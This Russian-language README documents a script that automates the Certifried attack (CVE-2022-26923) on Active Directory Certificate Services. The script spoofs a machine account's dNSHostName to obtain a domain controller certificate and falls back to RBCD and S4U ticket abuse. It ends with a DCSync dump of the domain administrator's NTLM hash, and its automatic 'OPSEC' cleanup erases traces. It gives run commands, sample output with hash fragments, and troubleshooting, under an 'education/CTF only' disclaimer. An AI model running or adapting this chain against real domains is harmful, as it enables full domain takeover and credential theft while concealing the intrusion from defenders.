
Автоматизированная эксплуатация CVE-2022-26923 (Certifried)
Автоматизированная эксплуатация CVE-2022-26923 (Certifried), позволяющая повысить привилегии через злоупотребление службами сертификации Active Directory (AD CS), с автоматическим переходом на делегирование на основе ресурсов (RBCD) и последующим извлечением NTLM-хеша учётной записи администратора домена.
⚠️ Только для образовательных целей / Лаборатории / CTF
Не используйте в несанкционированных средах.
Этот скрипт автоматизирует следующую цепочку атак:
dNSHostName на имя контроллера доменаsecretsdump.py с использованием хеша контроллера доменаbloodyADimpacket-addspngetST.pysecretsdump.py с использованием билета KerberosdNSHostName, что заставляет центр сертификации выпустить сертификат для учётной записи контроллера доменаpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP-адрес контроллера домена
-D, --domain Имя домена (например, corp.local)
-u, --user Действительный пользователь домена (формат UPN: user@domain)
-p, --pass Пароль пользователя
--verbose Режим отладки: вывод всех выполняемых команд
-h, --help Показать это справочное сообщение
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Совет: Перед запуском определите точное имя CA и шаблона с помощью:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutЗатем обновите
CA_NAMEиTEMPLATEв значениях по умолчанию скрипта.
В зависимости от среды сработает один из двух путей:
Метод 1 (Классический):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Метод 2 (Запасной RBCD):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
Очистка OPSEC выполняется автоматически в конце (или при Ctrl+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
Этот проект предоставляется для:
Автор не несёт ответственности за любое несанкционированное или незаконное использование этого инструмента.
| Инструмент | Назначение |
|---|
certipy-ad | Создание/обновление учётной записи, запрос сертификата, аутентификация PKINIT |
bloodyAD | Манипуляция атрибутами RBCD (запасной метод) |
impacket-addspn | Добавление SPN на учётную запись компьютера (запасной метод) |
impacket-getST | Запрос билета S4U2Self + S4U2Proxy (запасной метод) |
impacket-secretsdump | DCSync / извлечение NTLM-хеша |
openssl | Преобразование PFX → PEM (запасной метод) |
| Симптом | Причина | Исправление |
|---|
NETBIOS connection timed out | Задержка RPC AD CS на HTB | Обрабатывается автоматически (5 повторных попыток) |
KDC_ERR_BADOPTION в getST | Отсутствует SPN на COMP$ | Скрипт теперь использует impacket-addspn перед getST |
KDC_ERR_WRONG_REALM в secretsdump | Неправильный SPN (LDAP против cifs) | Скрипт использует SPN cifs/ для getST |
Clock skew too great | Расхождение времени Kerberos | Выполните sudo ntpdate <DC_IP> перед запуском |
| Удаление учётной записи компьютера не удается | Недостаточно прав AD (обычно) | Скрипт игнорирует ошибку с ` |
unrecognized arguments с certipy-ad | Неверный синтаксис (старый формат certipy) | Скрипт использует явные флаги -u/-p/-target-ip |